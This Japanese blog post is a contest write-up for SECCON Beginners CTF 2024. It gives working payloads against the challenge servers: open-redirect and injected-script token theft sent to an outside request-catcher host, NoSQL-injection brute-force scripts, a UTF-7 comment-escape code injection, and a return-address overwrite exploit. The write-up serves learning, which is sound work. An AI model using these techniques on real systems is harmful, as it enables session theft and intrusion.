LoginSignup
0
0

最初に

今年もSECCON Beginners CTF 2024に参加しました!毎年多少は触ってるはずですがwriteup投稿するのは久しぶりっぽい。

1人参加で868pt、86位でした。以下触った問題のwriteupです。

image.png

Welcome

Welcome

Welcome to SECCON Beginners CTF 2024!
フラグはDiscordサーバのannouncementsチャンネルにて公開されています!
The flag is on Discord.

公式Discordに載っているやつ。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

Web

wooorker [beginner]

adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
脆弱性報告bot
wooorker.tar.gz f49f0705eb259d035bea08ebc2576c422708dc94

  • guest/guest のログイン情報が与えられているが、これでログインしてもflag画面にて「権限がない」と怒られる
  • /login?next=/path からログインすると /path?token={JWT} へリダイレクトする。この next パラメータには他ドメインのURLも指定できるため、オープンリダイレクトの脆弱性が存在する
  • 脆弱性報告botにパスを送ると、botがそのパスからadmin権限でログイン動作を行う

/login?next={他サイト} を脆弱性報告botへ送信すると、botがログイン後に {他サイト}?token={JWT} へリダイレクトすることになる。受信リクエストを見られるようなWebサービスを使えば、GETパラメータのtokenを盗み取ることができる。
今回は以下サイトを利用した。(普段はwebhook.siteを使うことが多いのだが、相性なのかタイミングの問題なのかうまくリクエストを受け取れなかった…)

以下を脆弱性報告bot画面から送信すると、

login?next=https://kani.requestcatcher.com/a

request catcherに以下のリクエストが送られる。

GET /a?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0OTMyLCJleHAiOjE3MTg0Njg1MzJ9.fBfF89yRWbhwuxGnUTiiBqbH6f6QNEG6AkXO-9c10Og

あとは /flag アクセス時のAuthorizationヘッダにつけてやると、flagを取得できた。

GET /flag HTTP/1.1
Host: wooorker.beginners.seccon.games
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0OTMyLCJleHAiOjE3MTg0Njg1MzJ9.fBfF89yRWbhwuxGnUTiiBqbH6f6QNEG6AkXO-9c10Og
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODQ2NTAxOCwiZXhwIjoxNzE4NDY4NjE4fQ.TiijHO5sShp3r_Fl3wxV-NxaDgTuB__a0NpoqsDUjfU
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 15:23:57 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 50
Connection: close
X-Powered-By: Express
ETag: W/"32-ToCtzz4u7d01Q41uQDklIU+nBZc"

{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}

double-leaks [medium]

Can you leak both username and password? :eyes:
https://double-leaks.beginners.seccon.games
double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed

取り掛かったのが早かったからか2nd bloodを取れた。嬉しい。

パラメータとして usernamepassword_hash があり、ソースからMongoDBを利用していることと password_hash にのみ自作WAF?が導入されていることが分かる。また、以下コードを見ると正しいusernamepassword_hash を知る必要があるようなので、MongoDBのSQLインジェクションをそれぞれのパラメータに対して行っていく。

app.py抜粋
        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

usernameの特定

こちらはWAFがないので、定石通り $regex を使って正規表現で1文字ずつ特定していく。正しくないとき Invalid Credential 、正しいとき DO NOT CHEATING の応答となるので、この応答差を利用する。

import requests
import string
import time
import json

def fetch_json_data(url, params=None):
    time.sleep(0.5)
    try:
        response = requests.post(url, headers={'Content-Type': 'application/json'}, data=json.dumps(params))
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching JSON: {e}")
        return None

# リクエストを送信するURL
url = 'https://double-leaks.beginners.seccon.games/login'
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
result = ""

while True:
    for c in characters:
        params = {"username":{"$regex":f"^{result+c}.*"}, "password_hash":{"$ne":"a"}}
        json_data = fetch_json_data(url, params)
        if "CHEATING" in json_data["message"]:
            result = result + c
            print(result)
            break
    else:
        break

これを実行すると、 username=ky0muky0mupur1n であることが分かった。きょむきょむプリン。

password_hash の特定

こちらは username とは違い、自作WAFによって regex where などの単語や一部記号を含む場合にエラーとなるよう設定されている。

ただし、ここで特定したいのはパスワードではなくパスワードハッシュであるため [0-9a-f]+ となる。正規表現などでなくとも数の大小でブルートフォースでき、それを判定する $gt などは弾かれない。

import requests
import time
import json

def fetch_json_data(url, params=None):
    time.sleep(0.5)
    try:
        response = requests.post(url, headers={'Content-Type': 'application/json'}, data=json.dumps(params))
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching JSON: {e}")
        return None

# リクエストを送信するURL
url = 'https://double-leaks.beginners.seccon.games/login'

characters = "0123456789abcdef"
result = ""
username = "ky0muky0mupur1n"

for i in range(64):
    for j in range(len(characters)):
        passhash = result + characters[j] + "0"*(63-i)
        params = {"username":username, "password_hash":{"$gte":passhash}}
        json_data = fetch_json_data(url, params)
        if "Invalid Credential" in json_data["message"]:
            result = result + characters[j-1]
            print(result)
            break
    else:
        result = result + "f"
        print(result)

これで d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a が正しいと特定できる。

POST /login HTTP/1.1
Host: double-leaks.beginners.seccon.games
Content-Length: 113
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://double-leaks.beginners.seccon.games
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://double-leaks.beginners.seccon.games/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

{"username":"ky0muky0mupur1n","password_hash":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"}
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 09:38:54 GMT
Content-Type: application/json
Content-Length: 101
Connection: close

{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}

wooorker2 [medium]

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
https://wooorker2.beginners.seccon.games/
脆弱性報告bot
wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567

wooorkerではtokenをGETパラメータ( ?token={JWT} )として連結していたが、こちらではフラグメント( #token={JWT} )になった。これでなにが面倒かというと、 外部送信時にサーバ側では # 以降が記録されない。
よって、リダイレクト先に # 以降を取得するJavaScriptを仕込んでおき、それを送信させることを考える。
これをするにあたって簡単なHTMLを返してくれるサイトを探し回り、最終的にRequestBinを使うことで落ち着いた。

  1. RequestBinにてレスポンスを以下のように設定する。(nodejsを指定)
    ここでは window.location.hash を取得し、それを更に request catcherへ飛ばしている。

    export default defineComponent({
      async run({ steps, $ }) {
        await $.respond({
          status: 200,
          headers: {},
          body: "<script>const a = window.location.hash;window.location.href = 'https://kani.requestcatcher.com/?' + a.substring(1);</script>",
        })
      },
    })
    
  2. 設定したRequestBinのURLを脆弱性報告botへ送信する。

    login?next=https://eof2u7of50p71w6.m.pipedream.net
    
  3. 最終到達先のrequest catcherでtokenを受信する。

    GET /?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDk1MzU5LCJleHAiOjE3MTg0OTg5NTl9.nOf5N-dCyRnp48NjdZXIz1vHZ1Q34inK5RJrqaeEquw
    

あとはwooorkerと同様、 Authorization ヘッダへ追加してアクセス。

GET /flag HTTP/1.1
Host: wooorker2.beginners.seccon.games
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDk1MzU5LCJleHAiOjE3MTg0OTg5NTl9.nOf5N-dCyRnp48NjdZXIz1vHZ1Q34inK5RJrqaeEquw
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 23:53:35 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
Connection: close
X-Powered-By: Express
ETag: W/"37-jCKWpLeGXDnm+eqbrv3xyuBFjLE"

{"flag":"ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}"}

ssrforlfi [easy]

SSRF? LFI? ひょっとしてRCE?
https://ssrforlfi.beginners.seccon.games
ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f

※解けていないが、惜しくて(?)悲しかったので考えた過程を書いておく。

環境変数にflagが格納されているらしい。URLを送ると内部で curl を用いてアクセスするwebアプリのようで、SSRF・LFI・RCEそれぞれへの対策が実装されている。

flagは .env に記載されており、それを docker-compose.yml で呼んでコンテナの環境変数に設定している。取得方法としてRCEで env コマンドなどを叩くかLFIで /proc/self/environ を読む方法を思いついたが、 curl コマンド実行部分が ' で囲まれているのでRCEは難しそう。(protectionにより ' を入力に含めることもできない)

app.py
    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )

ということで、LFIで環境変数を取得することを考える。 file スキーマを使うことが認められているが、以下の制約がある。

  • 文字種は a-z, ", (, ), ., /, :, ;, <, >, @, | のみ
  • URLの7文字目以降について、 os.path.exists(path) がTrueか .. が含まれると駄目

この os.path.exists(path) の条件が突破できず、他の問題の合間合間でいろいろ試すも分かる前に時間が来てしまった。

終了後にwriteupを見て file://localhost/proc/self/environ で通ると知ったが、 ログを見たところhttpのノリで file://xxx@localhost/... みたいな形を試していたのに localhost のみは試していなかった。かなしい。

Misc

getRank [easy]

https://getrank.beginners.seccon.games/
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

スコアを送信するAPIがあり、現状1位の 10**255 点以上を送ってランキング1位になればflagという問題。ただし、以下の制約がある。

  • lengthが300文字未満
  • parseInt() した値が 10**255 より大きいとき、 10**100 で割られる

普通に文字列制限いっぱい送信してもダメなので、parseInt() で解釈可能かつ10進表記以外で大きな値を調べたところ、 0xff 系の16進数も解釈できるらしい。ということで 0xfffff... を送信したところ通った。

POST / HTTP/1.1
Host: getrank.beginners.seccon.games
Content-Length: 312
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://getrank.beginners.seccon.games
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://getrank.beginners.seccon.games/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 05:15:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close

{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}

clamre [easy]

アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games/
clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c

ソースコードより、ClamAV(Linuxのアンチウイルスソフト)を使って送信ファイルがシグネチャに合うかどうかをチェックしている。

シグネチャは flag.ldb に書かれており、以下のようにテキストで読める。

flag.ldb
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

後半に正規表現があり、 \x63\x74\x66ctf を指すことからもこれらがflagとなっていそう。

\数値 がキャプチャグループの置換(例えば \3 は括弧3つ目の 4 を指す)なので、以下の表を作成して照らし合わせていった。

2 ctf
3 4
4 b
5 {
6 r
7 3
8 k1
9 ng
10 _
11 l
12 Th
13 H0
14 u
15 5

最終的なflagは以下のとおり。

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

commentator [easy]

コメントには注意しなきゃ!
nc commentator.beginners.seccon.games 4444
commentator.tar.gz 83d58281d8e0c0376b248e3a6a9487f7a106cec0

pythonプログラムを作成して実行するプログラムが動いているが、全ての行の前に # が付いている。

例えば以下のように入力すると、

└─$  nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> test
>>> __EOF__
thx :)

以下のようなpythonプログラムファイルが作成され、実行される。当然コメントなので何も動作しない。

# test
# __EOF__

flagは /tmp/{uuid.uuid4()}.py に作成されるため、どうにかして改行を挿入してコメントアウトから抜け出し、flagファイルを探さないといけない。

pythonにおいて文頭が # かつ単純なコメント以外の用途といえば「文字コード指定」「shebang」の2種類だと思われるので、文字コードをutf-8以外にしたうえで改行コードを挿入することを思いついた。

CyberChefさんに実行したいコードをUTF-7へエンコードしてもらう。

# 元コード

import glob
flag = glob.glob("/flag*")
with open(flag[0]) as f:
	print(f.read())

# utf-7
+AA0-+AAo-import+ACA-glob+AA0-+AAo-flag+ACA-+AD0-+ACA-glob.glob(+ACI-/flag+ACo-+ACI-)+AA0-+AAo-with+ACA-open(flag+AFs-0+AF0-)+ACA-as+ACA-f:+AA0-+AAo-+AAk-print(f.read())

送信して実行。

└─$ nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> -*- coding: utf-7 -*-
>>> +AA0-+AAo-import+ACA-glob+AA0-+AAo-flag+ACA-+AD0-+ACA-glob.glob(+ACI-/flag+ACo-+ACI-)+AA0-+AAo-with+ACA-open(flag+AFs-0+AF0-)+ACA-as+ACA-f:+AA0-+AAo-+AAk-print(f.read())
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}
thx :)

pwnable

simpleoverflow [beginner]

Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

overflowとあったので適当に長い文字列を入れたらflagが出てきた。

└─$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa�H�
ctf4b{0n_y0ur_m4rk}

simpleoverwrite [easy]

スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b

リターンアドレスを表示してくれる。19文字以上入れるとオーバーフローしてリターンアドレスを侵食するらしい。

└─$ nc simpleoverwrite.beginners.seccon.games 9001
input:aaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaa
��{
return to: 0x7f7bfc990a61

IDAで実行ファイルを読み込むと、win関数が存在していた。 0x401186 が開始位置らしいので、これを指定してみる。

from pwn import *

conn = remote("simpleoverwrite.beginners.seccon.games", 9001)

res = conn.recv()
print(res.decode())

# 0x401186(リトルエンディアン)
hex_data = "61"*18 + "8611400000000000"
data = bytes.fromhex(hex_data)
conn.send(data)

conn.interactive()

└─$ python simpleoverwrite.py                     
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
input:
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

[*] Got EOF while reading in interactive

reversing

assemble [beginner]

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games
assemble.tar.gz d68dd70d722c38f90c8c4a8e8c36be6a94e3fab4

アクセスすると、アセンブリ言語のエディタが表示される。challengeが4つ用意されており、完遂するとflagがもらえるらしい。

image.png

個人的に、つい最近アセンブリ言語をある程度理解したいと思い立ち調べ始めていたところだったので、その調査結果まとめ(途中)が役に立った。自分で調べたことをこうして実践(?)に使えるとやはり楽しい。
自分の整理も兼ねて説明を詳しめに書きたいと思う。

Challenge 1. Please write 0x123 to RAX!

mov RAX, 0x123

これはタイトルの通り。 movRAX などのレジスタに値を書き込む動作。

Challenge 2. Please write 0x123 to RAX and push it on stack!

mov RAX, 0x123
push RAX

これもタイトルの通り。

Challenge 3. Please use syscall to print Hello on stdout!

; 出力値設定
mov RAX, 0x6f6c6c6548
push RAX

; 出力(syscall: write 1)
; 引数:ファイルディスクリプタ(標準出力は1), 出力対象の先頭アドレス, バイト数
mov RAX, 1
mov RDI, 1
mov RSI, RSP
mov RDX, 5
syscall

; 行は実際には入力していない

syscall でシステムコールを実行できるが、その前に実行するシステムコール(番号で割り振られている)や引数を設定する必要がある。どのレジスタにどの値を設定すればいいか決められており、 以下の通りらしい。

  • RAX: システムコール番号を格納
  • RDI , RSI , RDX , R10, … : 引数( RDI が第一引数)

ここではprintしたいので writeシステムコールを使っている。出力対象は文字列自身でなく先頭アドレスである必要があるとのことで、スタックに文字列を push したあとスタックの先頭アドレスを指す RSP を第2引数の RSI に格納している。
最後に syscall で実行すると、 Hello が出力される。

なお syscall 時の戻り値は RAX に格納されるらしい。

Challenge 4. Please read flag.txt file and print it to stdout!

; ファイル名設定
mov RAX, 0x00
push RAX
mov RAX, 0x7478742e67616c66
push RAX

; 1. ファイルオープン(syscall: open 2)
; パス名の先頭アドレス, flag(r, w, rw)
mov RAX, 2
mov RDI, RSP
mov RSI, 0
syscall
mov RDI, RAX

; 2. ファイル読み込み(syscall: read 0)
; ファイルディスクリプタ, 読み込み先ポインタ?, バイト数
mov RAX, 0
mov RSI, RSP
mov RDX, 1024
syscall

; 3. 出力(syscall: write 1)
; ファイルディスクリプタ(標準出力は1), 出力対象の先頭アドレス, バイト数
mov RAX, 1
mov RDI, 1
mov RSI, RSP
mov RDX, 55
syscall

; 行は実際には入力していない

まず、「ファイルを開いて出力」には open→read→write の3つのシステムコールが必要になる。それぞれの番号および引数はコメントの通り。

  1. ファイル名設定
    • 🤔「 0x7478742e67616c66 をpushするだけだとファイルオープンで失敗するんですけど… 」ChatGPT🤖「ファイル名のあとに終端文字 0x00 が必要だよ」
  2. open
    • 書いてある通り。
  3. read
    • 🤔「 読み込み先って何を指定すれば…」🤖「 buffer 変数を定義してそこに積めばいいよ 」🤔「 mov push syscall しか使えんのです」🤖「ならスタックを読み込み先にして、引数には先頭アドレス RSP を渡すといいよ」
    • 戻り値は RAX に格納されるが、引数で指定したとおりスタックにも積まれている。
  4. write
    • スタックにファイルを読み込んだ内容が置かれているので、ここでもスタックの先頭アドレスである RSP を第2引数に渡している。

これで flag.txt の内容=flagを表示させることができた。

ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge [easy]

見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce

なにかのコードっぽい内容のテキストファイルが配られた。その中で生成されたコメント?っぽいFunction Attrs: noinline nounwind optnone uwtable でググると、LLVMというものらしい。

冒頭に定数定義?があり、文字列を入力するとflagかどうか判定するプログラムのように見える。

cha.ll.enge抜粋
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

一旦コンパイルしてみた方がいいかと思い llvm をインストールしたが、うまくできなかったので諦めた。
入力値と正しいflagを比較している部分の動作さえ分かればflagを計算できそうなので、それっぽい以下部分の動作をChatGPTに説明してもらった。

cha.ll.enge抜粋
18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37
ChatGPT回答抜粋
各文字に対して以下の操作を行います:

入力文字 (%21) を整数に変換します (%22)。
その文字とキーの対応する値 (%25) をXORします (%26)。
次のキーの値 (%30) とさらにXORします (%31)。
結果が0であれば、カウンタを増やします (%34)。
この操作を全ての文字について繰り返し、すべての結果が0であることを確認します (%33)。

なお、回答にあるキーとは @__const.main.key 配列の値のこと。つまり i^(i+1)^0 をしていけばよさそうなのでpythonスクリプトを書いた。


arr = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
result = ""

for i in range(49):
    r = arr[i] ^ arr[i+1] ^ 0
    result += chr(r)

print(result)
└─$ python main.py
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

感想

最後にwriteupを書いたのは2021年のようですが、成長しているんでしょうか…順位が上がっているからいいのかな…🤔
Webしか解けないので、Web問をもう少し解きたかったなという思いです。精進します。
あとはmiscにブロックチェーンタグのついた問題がありましたが、よく知らない分野なので時間があれば触ってみたいです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0